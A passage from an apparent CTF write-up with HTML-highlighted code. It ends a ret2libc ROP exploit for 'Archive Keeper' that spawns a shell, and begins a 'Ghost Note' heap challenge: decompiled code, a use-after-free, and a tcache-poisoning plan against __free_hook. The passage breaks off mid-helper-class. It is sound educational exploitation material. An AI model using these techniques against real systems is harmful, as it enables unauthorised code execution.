<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">libc</span><span class="p">.</span><span class="n">address</span> <span class="o">=</span> <span class="n">leak</span> <span class="o">-</span> <span class="n">libc</span><span class="p">.</span><span class="n">sym</span><span class="p">.</span><span class="n">puts</span>
</code></pre></div></div>

<p>Now we can use that to find the address of <code class="language-plaintext highlighter-rouge">system()</code> and <code class="language-plaintext highlighter-rouge">/bin/sh</code></p>
<h4 id="stage-2--popping-a-shell">Stage 2 : Popping a shell</h4>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">payload_stage2</span> <span class="o">=</span> <span class="nf">flat</span><span class="p">(</span>
	<span class="nf">cyclic</span><span class="p">(</span><span class="mi">72</span><span class="p">),</span> <span class="c1"># padding
</span>	<span class="n">rop</span><span class="p">.</span><span class="n">ret</span><span class="p">.</span><span class="n">address</span><span class="p">,</span> <span class="c1"># for 16 bytes alignment
</span>	<span class="n">rop</span><span class="p">.</span><span class="n">rdi</span><span class="p">.</span><span class="n">address</span><span class="p">,</span> <span class="c1"># 
</span>	<span class="nf">next</span><span class="p">(</span><span class="n">libc</span><span class="p">.</span><span class="nf">search</span><span class="p">(</span><span class="sa">b</span><span class="sh">"</span><span class="s">/bin/sh</span><span class="sh">"</span><span class="p">)),</span> <span class="c1"># addr of /bin/sh
</span>	<span class="n">libc</span><span class="p">.</span><span class="n">sym</span><span class="p">.</span><span class="n">system</span><span class="p">,</span> <span class="c1"># system()
</span><span class="p">)</span>
</code></pre></div></div>

<p>This ROP chain executes <code class="language-plaintext highlighter-rouge">system("/bin/sh")</code>, which spawns a shell.</p>

<p><img src="/assets/images/writeups/nexhunt/archive_keeper/shell.png" alt="Archive Keeper" /></p>

<p>The full exploit :</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">def</span> <span class="nf">exploit</span><span class="p">():</span>
	<span class="c1">##################################################################### 
</span>	<span class="c1">######################## EXPLOIT CODE ###############################
</span>	<span class="c1">#####################################################################
</span>	
	<span class="n">pop_rdi</span> <span class="o">=</span> <span class="n">rop</span><span class="p">.</span><span class="n">rdi</span><span class="p">.</span><span class="n">address</span>
	<span class="n">offset</span> <span class="o">=</span> <span class="mi">64</span> <span class="o">+</span> <span class="mi">8</span> <span class="c1"># padding
</span>	<span class="n">payload_stage2</span> <span class="o">=</span> <span class="nf">flat</span><span class="p">(</span>
		<span class="nf">cyclic</span><span class="p">(</span><span class="n">offset</span><span class="p">),</span>
		<span class="n">pop_rdi</span><span class="p">,</span> <span class="n">elf</span><span class="p">.</span><span class="n">got</span><span class="p">.</span><span class="n">puts</span><span class="p">,</span>
		<span class="n">elf</span><span class="p">.</span><span class="n">plt</span><span class="p">.</span><span class="n">puts</span><span class="p">,</span>
		<span class="n">elf</span><span class="p">.</span><span class="n">sym</span><span class="p">.</span><span class="n">main</span>
	<span class="p">)</span>

	<span class="nf">sla</span><span class="p">(</span><span class="sa">b</span><span class="sh">"</span><span class="s">Enter your data:</span><span class="se">\n</span><span class="sh">"</span><span class="p">,</span> <span class="n">payload_stage1</span><span class="p">)</span>
	<span class="n">data</span> <span class="o">=</span> <span class="nf">rl</span><span class="p">()</span> <span class="c1"># recv leak
</span>	<span class="n">data</span> <span class="o">=</span> <span class="n">data</span><span class="p">.</span><span class="nf">rstrip</span><span class="p">(</span><span class="sa">b</span><span class="sh">"</span><span class="se">\r\n</span><span class="sh">"</span><span class="p">)</span>
	<span class="n">leak</span> <span class="o">=</span> <span class="nf">u64</span><span class="p">(</span><span class="n">data</span><span class="p">.</span><span class="nf">ljust</span><span class="p">(</span><span class="mi">8</span><span class="p">,</span> <span class="sa">b</span><span class="sh">"</span><span class="se">\x00</span><span class="sh">"</span><span class="p">))</span>
	<span class="nf">print_leak</span><span class="p">(</span><span class="sh">"</span><span class="s">puts</span><span class="sh">"</span><span class="p">,</span> <span class="n">leak</span><span class="p">)</span>
	<span class="n">libc</span><span class="p">.</span><span class="n">address</span> <span class="o">=</span> <span class="n">leak</span> <span class="o">-</span> <span class="n">libc</span><span class="p">.</span><span class="n">sym</span><span class="p">.</span><span class="n">puts</span>
	<span class="nf">print_leak</span><span class="p">(</span><span class="sh">"</span><span class="s">libc base</span><span class="sh">"</span><span class="p">,</span> <span class="n">libc</span><span class="p">.</span><span class="n">address</span><span class="p">)</span>

	<span class="n">payload_stage2</span> <span class="o">=</span> <span class="nf">flat</span><span class="p">(</span>
		<span class="nf">cyclic</span><span class="p">(</span><span class="n">offset</span><span class="p">),</span>
		<span class="n">rop</span><span class="p">.</span><span class="n">ret</span><span class="p">.</span><span class="n">address</span><span class="p">,</span>
		<span class="n">pop_rdi</span><span class="p">,</span> <span class="nf">next</span><span class="p">(</span><span class="n">libc</span><span class="p">.</span><span class="nf">search</span><span class="p">(</span><span class="sa">b</span><span class="sh">"</span><span class="s">/bin/sh</span><span class="sh">"</span><span class="p">)),</span>
		<span class="n">libc</span><span class="p">.</span><span class="n">sym</span><span class="p">.</span><span class="n">system</span>
	<span class="p">)</span>

	<span class="nf">sla</span><span class="p">(</span><span class="sa">b</span><span class="sh">"</span><span class="s">Enter your data:</span><span class="se">\n</span><span class="sh">"</span><span class="p">,</span> <span class="n">payload_stage2</span><span class="p">)</span>

</code></pre></div></div>

<p><a href="https://github.com/t1b4n3/ctf-writeups/blob/main/nexhunt/archive_keeper/xpl.py">FULL EXPLOIT</a></p>

<h2 id="ghost-note">Ghost Note</h2>

<p><img src="/assets/images/writeups/nexhunt/ghost_note/ghostnote.png" alt="Archive Keeper" /></p>

<h3 id="about-the-binary-1">About the binary</h3>

<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code> rabin2 <span class="nt">-I</span> ./chall
<span class="nb">arch     </span>x86
baddr    0x0
binsz    15529
bintype  elf
bits     64
canary   <span class="nb">true
</span>injprot  <span class="nb">false
</span>class    ELF64
compiler GCC: <span class="o">(</span>Ubuntu 9.4.0-1ubuntu1~20.04.2<span class="o">)</span> 9.4.0
crypto   <span class="nb">false
</span>endian   little
havecode <span class="nb">true
</span>intrp    /lib64/ld-linux-x86-64.so.2
laddr    0x0
lang     c
linenum  <span class="nb">true
</span>lsyms    <span class="nb">true
</span>machine  AMD x86-64 architecture
nx       <span class="nb">true
</span>os       linux
pic      <span class="nb">true
</span>relocs   <span class="nb">true
</span>relro    full
rpath    NONE
sanitize <span class="nb">false
</span>static   <span class="nb">false
</span>stripped <span class="nb">false
</span>subsys   linux
va       <span class="nb">true</span>
</code></pre></div></div>

<p>A x86-64 binary with all mitigations turned on.</p>

<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code>./ld-linux-x86-64.so.2 ./libc.so.6 
GNU C Library <span class="o">(</span>Ubuntu GLIBC 2.31-0ubuntu9.17<span class="o">)</span> stable release version 2.31.
Copyright <span class="o">(</span>C<span class="o">)</span> 2020 Free Software Foundation, Inc.
This is free software<span class="p">;</span> see the <span class="nb">source </span><span class="k">for </span>copying conditions.
There is NO warranty<span class="p">;</span> not even <span class="k">for </span>MERCHANTABILITY or FITNESS FOR A
PARTICULAR PURPOSE.
Compiled by GNU CC version 9.4.0.
libc ABIs: UNIQUE IFUNC ABSOLUTE
For bug reporting instructions, please see:
&lt;https://bugs.launchpad.net/ubuntu/+source/glibc/+bugs&gt;.
</code></pre></div></div>

<p>This challenge uses <code class="language-plaintext highlighter-rouge">GLIBC 2.31</code>.</p>

<p>When we run the binary it show us a menu.</p>

<pre><code class="language-./chall">1. Add Note
2. Delete Note
3. Show Note
4. Edit Note
5. Exit
&gt;
</code></pre>

<h3 id="reversing-and-vulnerability-discovering">Reversing and Vulnerability Discovering</h3>

<p>Lets take a look at the main function</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kt">int32_t</span> <span class="nf">main</span><span class="p">(</span><span class="kt">int32_t</span> <span class="n">argc</span><span class="p">,</span> <span class="kt">char</span><span class="o">**</span> <span class="n">argv</span><span class="p">,</span> <span class="kt">char</span><span class="o">**</span> <span class="n">envp</span><span class="p">)</span> <span class="p">{</span>
    <span class="kt">void</span><span class="o">*</span> <span class="n">fsbase</span><span class="p">;</span>
    <span class="kt">int64_t</span> <span class="n">var_10</span> <span class="o">=</span> <span class="o">*</span><span class="p">(</span><span class="kt">uint64_t</span><span class="o">*</span><span class="p">)((</span><span class="kt">char</span><span class="o">*</span><span class="p">)</span><span class="n">fsbase</span> <span class="o">+</span> <span class="mh">0x28</span><span class="p">);</span>
    <span class="n">setup</span><span class="p">();</span>
    <span class="k">while</span> <span class="p">(</span><span class="nb">true</span><span class="p">)</span> <span class="p">{</span>
        <span class="n">menu</span><span class="p">();</span>
        <span class="k">switch</span> <span class="p">(</span><span class="n">get_int</span><span class="p">())</span>
        <span class="p">{</span>
            <span class="k">case</span> <span class="mi">1</span><span class="p">:</span> <span class="p">{</span> <span class="n">add_note</span><span class="p">();</span> <span class="k">continue</span><span class="p">;</span> <span class="p">}</span>
            <span class="k">case</span> <span class="mi">2</span><span class="p">:</span> <span class="p">{</span> <span class="n">delete_note</span><span class="p">();</span> <span class="k">continue</span><span class="p">;</span> <span class="p">}</span>
            <span class="k">case</span> <span class="mi">3</span><span class="p">:</span> <span class="p">{</span> <span class="n">show_note</span><span class="p">();</span> <span class="k">continue</span><span class="p">;</span> <span class="p">}</span>
            <span class="k">case</span> <span class="mi">4</span><span class="p">:</span> <span class="p">{</span> <span class="n">edit_note</span><span class="p">();</span> <span class="k">continue</span><span class="p">;</span> <span class="p">}</span>
            <span class="k">case</span> <span class="mi">5</span><span class="p">:{</span>  <span class="k">break</span><span class="p">;</span> <span class="k">break</span><span class="p">;}</span>
        <span class="p">}</span>   
        <span class="n">puts</span><span class="p">(</span><span class="s">"Invalid"</span><span class="p">);</span>
    <span class="p">}</span>
    <span class="n">exit</span><span class="p">(</span><span class="mi">0</span><span class="p">);</span>
    <span class="cm">/* no return */</span>
<span class="p">}</span>
</code></pre></div></div>

<p><code class="language-plaintext highlighter-rouge">main()</code> shows use the menu prompt. we can just move on to the first option <code class="language-plaintext highlighter-rouge">add_note()</code>.</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kt">int64_t</span> <span class="nf">add_note</span><span class="p">()</span> <span class="p">{</span>
    <span class="kt">void</span><span class="o">*</span> <span class="n">fsbase</span><span class="p">;</span>
    <span class="kt">int64_t</span> <span class="n">rax</span> <span class="o">=</span> <span class="o">*</span><span class="p">(</span><span class="kt">uint64_t</span><span class="o">*</span><span class="p">)((</span><span class="kt">char</span><span class="o">*</span><span class="p">)</span><span class="n">fsbase</span> <span class="o">+</span> <span class="mh">0x28</span><span class="p">);</span>
    <span class="n">printf</span><span class="p">(</span><span class="s">"Index (0-%d): "</span><span class="p">,</span> <span class="mi">9</span><span class="p">);</span>
    <span class="kt">int32_t</span> <span class="n">index</span> <span class="o">=</span> <span class="n">get_int</span><span class="p">();</span>
    <span class="k">if</span> <span class="p">(</span><span class="n">index</span> <span class="o">&lt;</span> <span class="mi">0</span> <span class="o">||</span> <span class="n">index</span> <span class="o">&gt;</span> <span class="mi">9</span><span class="p">)</span>
        <span class="n">puts</span><span class="p">(</span><span class="s">"Invalid index."</span><span class="p">);</span>
    <span class="k">else</span> <span class="k">if</span> <span class="p">(</span><span class="o">!*</span><span class="p">(</span><span class="kt">uint64_t</span><span class="o">*</span><span class="p">)(((</span><span class="kt">int64_t</span><span class="p">)</span><span class="n">index</span> <span class="o">&lt;&lt;</span> <span class="mi">3</span><span class="p">)</span> <span class="o">+</span> <span class="o">&amp;</span><span class="n">notes</span><span class="p">))</span>
    <span class="p">{</span>
        <span class="n">printf</span><span class="p">(</span><span class="s">"Size: "</span><span class="p">);</span>
        <span class="kt">int32_t</span> <span class="n">size</span> <span class="o">=</span> <span class="n">get_int</span><span class="p">();</span>
	
        <span class="k">if</span> <span class="p">(</span><span class="n">size</span> <span class="o">&lt;=</span> <span class="mi">0</span> <span class="o">||</span> <span class="n">size</span> <span class="o">&gt;</span> <span class="mh">0x1000</span><span class="p">)</span>
            <span class="n">puts</span><span class="p">(</span><span class="s">"Invalid size."</span><span class="p">);</span>
        <span class="k">else</span>
        <span class="p">{</span>
            <span class="o">*</span><span class="p">(</span><span class="kt">uint64_t</span><span class="o">*</span><span class="p">)(((</span><span class="kt">int64_t</span><span class="p">)</span><span class="n">index</span> <span class="o">&lt;&lt;</span> <span class="mi">3</span><span class="p">)</span> <span class="o">+</span> <span class="o">&amp;</span><span class="n">notes</span><span class="p">)</span> <span class="o">=</span> <span class="n">malloc</span><span class="p">((</span><span class="kt">int64_t</span><span class="p">)</span><span class="n">size</span><span class="p">);</span>
            <span class="o">*</span><span class="p">(</span><span class="kt">uint32_t</span><span class="o">*</span><span class="p">)(((</span><span class="kt">int64_t</span><span class="p">)</span><span class="n">index</span> <span class="o">&lt;&lt;</span> <span class="mi">2</span><span class="p">)</span> <span class="o">+</span> <span class="o">&amp;</span><span class="n">note_sizes</span><span class="p">)</span> <span class="o">=</span> <span class="n">size</span><span class="p">;</span>
            <span class="n">printf</span><span class="p">(</span><span class="s">"Content: "</span><span class="p">);</span>
            <span class="n">read</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span> <span class="o">*</span><span class="p">(</span><span class="kt">uint64_t</span><span class="o">*</span><span class="p">)(((</span><span class="kt">int64_t</span><span class="p">)</span><span class="n">index</span> <span class="o">&lt;&lt;</span> <span class="mi">3</span><span class="p">)</span> <span class="o">+</span> <span class="o">&amp;</span><span class="n">notes</span><span class="p">),</span> <span class="p">(</span><span class="kt">int64_t</span><span class="p">)(</span><span class="n">size</span> <span class="o">-</span> <span class="mi">1</span><span class="p">));</span>
            <span class="n">puts</span><span class="p">(</span><span class="s">"Note added."</span><span class="p">);</span>
        <span class="p">}</span>
    <span class="p">}</span>
    <span class="k">else</span>
        <span class="n">puts</span><span class="p">(</span><span class="s">"Note already exists."</span><span class="p">);</span>
    
    <span class="kt">int64_t</span> <span class="n">result</span> <span class="o">=</span> <span class="n">rax</span> <span class="o">^</span> <span class="o">*</span><span class="p">(</span><span class="kt">uint64_t</span><span class="o">*</span><span class="p">)((</span><span class="kt">char</span><span class="o">*</span><span class="p">)</span><span class="n">fsbase</span> <span class="o">+</span> <span class="mh">0x28</span><span class="p">);</span>
    
    <span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">result</span><span class="p">)</span>
        <span class="k">return</span> <span class="n">result</span><span class="p">;</span>
    
    <span class="n">__stack_chk_fail</span><span class="p">();</span>
    <span class="cm">/* no return */</span>
<span class="p">}</span>
</code></pre></div></div>

<p>This function just asks for a index which should not be used, size between <code class="language-plaintext highlighter-rouge">0 and 0x1000</code> to allocate a chunk and data.</p>

<p><code class="language-plaintext highlighter-rouge">delete_note()</code></p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kt">int64_t</span> <span class="nf">delete_note</span><span class="p">()</span> <span class="p">{</span>
    <span class="kt">void</span><span class="o">*</span> <span class="n">fsbase</span><span class="p">;</span>
    <span class="kt">int64_t</span> <span class="n">rax</span> <span class="o">=</span> <span class="o">*</span><span class="p">(</span><span class="kt">uint64_t</span><span class="o">*</span><span class="p">)((</span><span class="kt">char</span><span class="o">*</span><span class="p">)</span><span class="n">fsbase</span> <span class="o">+</span> <span class="mh">0x28</span><span class="p">);</span>
    <span class="n">printf</span><span class="p">(</span><span class="s">"Index: "</span><span class="p">);</span>
    <span class="kt">int32_t</span> <span class="n">index</span> <span class="o">=</span> <span class="n">get_int</span><span class="p">();</span>
    
    <span class="k">if</span> <span class="p">(</span><span class="n">index</span> <span class="o">&lt;</span> <span class="mi">0</span> <span class="o">||</span> <span class="n">index</span> <span class="o">&gt;</span> <span class="mi">9</span> <span class="o">||</span> <span class="o">!*</span><span class="p">(</span><span class="kt">uint64_t</span><span class="o">*</span><span class="p">)(((</span><span class="kt">int64_t</span><span class="p">)</span><span class="n">index</span> <span class="o">&lt;&lt;</span> <span class="mi">3</span><span class="p">)</span> <span class="o">+</span> <span class="o">&amp;</span><span class="n">notes</span><span class="p">))</span>
        <span class="n">puts</span><span class="p">(</span><span class="s">"Invalid index or empty."</span><span class="p">);</span>
    <span class="k">else</span>
    <span class="p">{</span>
        <span class="n">free</span><span class="p">(</span><span class="o">*</span><span class="p">(</span><span class="kt">uint64_t</span><span class="o">*</span><span class="p">)(((</span><span class="kt">int64_t</span><span class="p">)</span><span class="n">index</span> <span class="o">&lt;&lt;</span> <span class="mi">3</span><span class="p">)</span> <span class="o">+</span> <span class="o">&amp;</span><span class="n">notes</span><span class="p">));</span>
        <span class="n">puts</span><span class="p">(</span><span class="s">"Note deleted."</span><span class="p">);</span>
    <span class="p">}</span>
    
    <span class="kt">int64_t</span> <span class="n">result</span> <span class="o">=</span> <span class="n">rax</span> <span class="o">^</span> <span class="o">*</span><span class="p">(</span><span class="kt">uint64_t</span><span class="o">*</span><span class="p">)((</span><span class="kt">char</span><span class="o">*</span><span class="p">)</span><span class="n">fsbase</span> <span class="o">+</span> <span class="mh">0x28</span><span class="p">);</span>
    
    <span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">result</span><span class="p">)</span>
        <span class="k">return</span> <span class="n">result</span><span class="p">;</span>
    
    <span class="n">__stack_chk_fail</span><span class="p">();</span>
    <span class="cm">/* no return */</span>
<span class="p">}</span>

</code></pre></div></div>

<p>This function asks for  a index and then it frees the chunk but is does not clear out the function pointer, therefore the is a <code class="language-plaintext highlighter-rouge">use-after-free</code> vulnerability here.</p>

<p><code class="language-plaintext highlighter-rouge">show_note()</code></p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kt">int64_t</span> <span class="nf">show_note</span><span class="p">()</span>
<span class="p">{</span>
    <span class="kt">void</span><span class="o">*</span> <span class="n">fsbase</span><span class="p">;</span>
    <span class="kt">int64_t</span> <span class="n">rax</span> <span class="o">=</span> <span class="o">*</span><span class="p">(</span><span class="kt">uint64_t</span><span class="o">*</span><span class="p">)((</span><span class="kt">char</span><span class="o">*</span><span class="p">)</span><span class="n">fsbase</span> <span class="o">+</span> <span class="mh">0x28</span><span class="p">);</span>
    <span class="n">printf</span><span class="p">(</span><span class="s">"Index: "</span><span class="p">);</span>
    <span class="kt">int32_t</span> <span class="n">index</span> <span class="o">=</span> <span class="n">get_int</span><span class="p">();</span>
    
    <span class="k">if</span> <span class="p">(</span><span class="n">index</span> <span class="o">&lt;</span> <span class="mi">0</span> <span class="o">||</span> <span class="n">index</span> <span class="o">&gt;</span> <span class="mi">9</span> <span class="o">||</span> <span class="o">!*</span><span class="p">(</span><span class="kt">uint64_t</span><span class="o">*</span><span class="p">)(((</span><span class="kt">int64_t</span><span class="p">)</span><span class="n">index</span> <span class="o">&lt;&lt;</span> <span class="mi">3</span><span class="p">)</span> <span class="o">+</span> <span class="o">&amp;</span><span class="n">notes</span><span class="p">))</span>
        <span class="n">puts</span><span class="p">(</span><span class="s">"Invalid index or empty."</span><span class="p">);</span>
    <span class="k">else</span>
    <span class="p">{</span>
        <span class="n">printf</span><span class="p">(</span><span class="s">"Data: "</span><span class="p">);</span>
        <span class="n">write</span><span class="p">(</span><span class="mi">1</span><span class="p">,</span> <span class="o">*</span><span class="p">(</span><span class="kt">uint64_t</span><span class="o">*</span><span class="p">)(((</span><span class="kt">int64_t</span><span class="p">)</span><span class="n">index</span> <span class="o">&lt;&lt;</span> <span class="mi">3</span><span class="p">)</span> <span class="o">+</span> <span class="o">&amp;</span><span class="n">notes</span><span class="p">),</span> 
            <span class="p">(</span><span class="kt">int64_t</span><span class="p">)</span><span class="o">*</span><span class="p">(</span><span class="kt">uint32_t</span><span class="o">*</span><span class="p">)(((</span><span class="kt">int64_t</span><span class="p">)</span><span class="n">index</span> <span class="o">&lt;&lt;</span> <span class="mi">2</span><span class="p">)</span> <span class="o">+</span> <span class="o">&amp;</span><span class="n">note_sizes</span><span class="p">));</span>
        <span class="n">puts</span><span class="p">(</span><span class="o">&amp;</span><span class="n">data_402097</span><span class="p">);</span>
    <span class="p">}</span>
    
    <span class="kt">int64_t</span> <span class="n">result</span> <span class="o">=</span> <span class="n">rax</span> <span class="o">^</span> <span class="o">*</span><span class="p">(</span><span class="kt">uint64_t</span><span class="o">*</span><span class="p">)((</span><span class="kt">char</span><span class="o">*</span><span class="p">)</span><span class="n">fsbase</span> <span class="o">+</span> <span class="mh">0x28</span><span class="p">);</span>
    
    <span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">result</span><span class="p">)</span>
        <span class="k">return</span> <span class="n">result</span><span class="p">;</span>
    
    <span class="n">__stack_chk_fail</span><span class="p">();</span>
    <span class="cm">/* no return */</span>
<span class="p">}</span>
</code></pre></div></div>

<p>As the function name says it just prints out the contents of the chunk.</p>

<p><code class="language-plaintext highlighter-rouge">edit_note()</code></p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kt">int64_t</span> <span class="nf">edit_note</span><span class="p">()</span>
<span class="p">{</span>
    <span class="kt">void</span><span class="o">*</span> <span class="n">fsbase</span><span class="p">;</span>
    <span class="kt">int64_t</span> <span class="n">rax</span> <span class="o">=</span> <span class="o">*</span><span class="p">(</span><span class="kt">uint64_t</span><span class="o">*</span><span class="p">)((</span><span class="kt">char</span><span class="o">*</span><span class="p">)</span><span class="n">fsbase</span> <span class="o">+</span> <span class="mh">0x28</span><span class="p">);</span>
    <span class="n">printf</span><span class="p">(</span><span class="s">"Index: "</span><span class="p">);</span>
    <span class="kt">int32_t</span> <span class="n">index</span> <span class="o">=</span> <span class="n">get_int</span><span class="p">();</span>
    
    <span class="k">if</span> <span class="p">(</span><span class="n">index</span> <span class="o">&lt;</span> <span class="mi">0</span> <span class="o">||</span> <span class="n">index</span> <span class="o">&gt;</span> <span class="mi">9</span> <span class="o">||</span> <span class="o">!*</span><span class="p">(</span><span class="kt">uint64_t</span><span class="o">*</span><span class="p">)(((</span><span class="kt">int64_t</span><span class="p">)</span><span class="n">index</span> <span class="o">&lt;&lt;</span> <span class="mi">3</span><span class="p">)</span> <span class="o">+</span> <span class="o">&amp;</span><span class="n">notes</span><span class="p">))</span>
        <span class="n">puts</span><span class="p">(</span><span class="s">"Invalid index or empty."</span><span class="p">);</span>
    <span class="k">else</span>
    <span class="p">{</span>
        <span class="n">printf</span><span class="p">(</span><span class="s">"New Content: "</span><span class="p">);</span>
        <span class="n">read</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span> <span class="o">*</span><span class="p">(</span><span class="kt">uint64_t</span><span class="o">*</span><span class="p">)(((</span><span class="kt">int64_t</span><span class="p">)</span><span class="n">index</span> <span class="o">&lt;&lt;</span> <span class="mi">3</span><span class="p">)</span> <span class="o">+</span> <span class="o">&amp;</span><span class="n">notes</span><span class="p">),</span> 
            <span class="p">(</span><span class="kt">int64_t</span><span class="p">)</span><span class="o">*</span><span class="p">(</span><span class="kt">uint32_t</span><span class="o">*</span><span class="p">)(((</span><span class="kt">int64_t</span><span class="p">)</span><span class="n">index</span> <span class="o">&lt;&lt;</span> <span class="mi">2</span><span class="p">)</span> <span class="o">+</span> <span class="o">&amp;</span><span class="n">note_sizes</span><span class="p">));</span>
        <span class="n">puts</span><span class="p">(</span><span class="s">"Note updated."</span><span class="p">);</span>
    <span class="p">}</span>
    
    <span class="kt">int64_t</span> <span class="n">result</span> <span class="o">=</span> <span class="n">rax</span> <span class="o">^</span> <span class="o">*</span><span class="p">(</span><span class="kt">uint64_t</span><span class="o">*</span><span class="p">)((</span><span class="kt">char</span><span class="o">*</span><span class="p">)</span><span class="n">fsbase</span> <span class="o">+</span> <span class="mh">0x28</span><span class="p">);</span>
    
    <span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">result</span><span class="p">)</span>
        <span class="k">return</span> <span class="n">result</span><span class="p">;</span>
    
    <span class="n">__stack_chk_fail</span><span class="p">();</span>
    <span class="cm">/* no return */</span>
<span class="p">}</span>
</code></pre></div></div>

<p>This function Overwrites the contents of an existing note.</p>

<h3 id="exploitation-1">Exploitation</h3>

<p><strong>Strategy</strong>: The goal is to gain arbitrary code execution.</p>

<ol>
  <li>Stage 1: Libc leak
    <ul>
      <li>Use the unsorted bin attack to leak a libc address and then calculate the base address.</li>
    </ul>
  </li>
  <li>Stage 2: Tcache poisoning and hook hijacking.
    <ul>
      <li>Use the tcache poisoning technique to hijack the <code class="language-plaintext highlighter-rouge">__free_hook</code> and get code execution.</li>
    </ul>
  </li>
</ol>

<p>I create a template class to help make it easier to write the exploit</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code>
<span class="k">def</span> <span class="nf">print_leak</span><span class="p">(</span><span class="n">description</span><span class="p">,</span> <span class="n">addr</span><span class="p">):</span>
	<span class="n">log</span><span class="p">.</span><span class="nf">info</span><span class="p">(</span><span class="sa">f</span><span class="sh">"</span><span class="si">{</span><span class="n">description</span><span class="si">}</span><span class="s"> @ </span><span class="si">{</span><span class="n">addr</span><span class="si">}</span><span class="sh">"</span><span class="p">)</span>

<span class="k">class</span> <span class="nc">GhostNote</span><span class="p">:</span>
	<span class="k">def</span> <span class="nf">__init__</span><span class="p">(</span><span class="n">self</span><span class="p">):</span>
		<span class="k">pass</span>

	<span class="k">def</span> <span class="nf">menu</span><span class="p">(</span><span class="n">self</span><span class="p">,</span> <span class="n">choice</span><span class="p">):</span>
		<span class="nf">sla</span><span class="p">(</span><span class="sa">b</span><span class="sh">"</span><span class="s">&gt; </span><span class="sh">"</span><span class="p">,</span> <span class="nf">str</span><span class="p">(</span><span class="n">choice</span><span class="p">).</span><span class="nf">encode</span><span class="p">())</span>

	<span class="k">def</span> <span class="nf">send_index</span><span class="p">(</span><span class="n">self</span><span class="p">,</span> <span class="n">index</span><span class="p">):</span>
		<span class="nf">sla</span><span class="p">(</span><span class="sa">b</span><span class="sh">"</span><span class="s">Index: </span><span class="sh">"</span><span class="p">,</span> <span class="nf">str</span><span class="p">(</span><span class="n">index</span><span class="p">).</span><span class="nf">encode</span><span class="p">())</span>

	<span class="k">def</span> <span class="nf">add_note</span><span class="p">(</span><span class="n">self</span><span class="p">,</span> <span class="n">index</span><span class="p">:</span><span class="nb">int</span><span class="p">,</span> <span class="n">size</span><span class="p">:</span><span class="nb">int</span><span class="p">,</span> <span class="n">note</span><span class="p">:</span><span class="nb">bytes</span><span class="p">):</span>
		<span class="n">self</span><span class="p">.</span><span class="nf">menu</span><span class="p">(</span><span class="mi">1</span><span class="p">)</span>
		<span class="n">log</span><span class="p">.</span><span class="nf">info</span><span class="p">(</span><span class="sa">f</span><span class="sh">"</span><span class="s">Adding Note | index </span><span class="si">{</span><span class="n">index</span><span class="si">}</span><span class="s"> | </span><span class="si">{</span><span class="n">note</span><span class="p">[</span><span class="si">:</span><span class="mi">8</span><span class="p">]</span><span class="si">}</span><span class="sh">"</span><span class="p">)</span>
		<span class="nf">sla</span><span class="p">(</span><span class="sa">b</span><span class="sh">"</span><span class="s">(0-9): </span><span class="sh">"</span><span class="p">,</span> <span class="nf">str</span><span class="p">(</span><span class="n">index</span><span class="p">).</span><span class="nf">encode</span><span class="p">())</span>
		<span class="nf">sla</span><span class="p">(</span><span class="sa">b</span><span class="sh">"</span><span class="s">Size: </span><span class="sh">"</span><span class="p">,</span> <span class="nf">str</span><span class="p">(</span><span class="n">size</span><span class="p">).</span><span class="nf">encode</span><span class="p">())</span>
		<span class="nf">sla</span><span class="p">(</span><span class="sa">b</span><span class="sh">"</span><span class="s">Content: </span><span class="sh">"</span><span class="p">,</span> <span class="n">note</span><span class="p">)</span>
		<span class="nf">rl</span><span class="p">()</span>

	<span class="k">def</span> <span class="nf">delete_note</span><span class="p">(</span><span class="n">self</span><span class="p">,</span> <span class="n">index</span><span class="p">):</span>
		<span class="n">log</span><span class="p">.</span><span class="nf">info</span><span class="p">(</span><span class="sa">f</span><span class="sh">"</span><span class="s">Delete Note | index </span><span class="si">{</span><span class="n">index</span><span class="si">}</span><span class="sh">"</span><span class="p">)</span>
		<span class="n">self</span><span class="p">.</span><span class="nf">menu</span><span class="p">(</span><span class="mi">2</span><span class="p">)</span>
		<span class="n">self</span><span class="p">.</span><span class="nf">send_index</span><span class="p">(</span><span class="n">index</span><span class="p">)</span>
		<span class="nf">rl</span><span class="p">()</span>

	<span class="k">def</span> <span class="nf">edit_note</span><span class="p">(</span><span class="n">self</span><span class="p">,</span> <span class="n">index</span><span class="p">,</span> <span class="n">note</span><span class="p">):</span>
		<span class="n">log</span><span class="p">.</span><span class="nf">info</span><span class="p">(</span><span class="sa">f</span><span class="sh">"</span><span class="s">Edit Note | index </span><span class="si">{</span><span class="n">index</span><span class="si">}</span><span class="s"> | </span><span class="si">{</span><span class="n">note</span><span class="p">[</span><span class="si">:</span><span class="mi">8</span><span class="p">]</span><span class="si">}</span><span class="sh">"</span><span class="p">)</span>
		<span class="n">self</span><span class="p">.</span><span class="nf">menu</span><span class="p">(</span><span class="mi">4</span><span class="p">)</span>
		<span class="n">self</span><span class="p">.</span><span class="nf">send_index</span><span class="p">(</span><span class="n">index</span><span class="p">)</span>
		<span class="nf">sa</span><span class="p">(</span><span class="sa">b</span><span class="sh">"</span><span class="s">New Content: </span><span class="sh">"</span><span class="p">,</span> <span class="n">note</span><span class="p">)</span>
		<span class="c1">#ru(b"New Content: ")
</span>		<span class="c1">#s(note)
</span>
	<span class="k">def</span> <span class="nf">show_note</span><span class="p">(</span><span class="n">self</span><span class="p">,</span> <span class="n">index</span><span class="p">):</span>
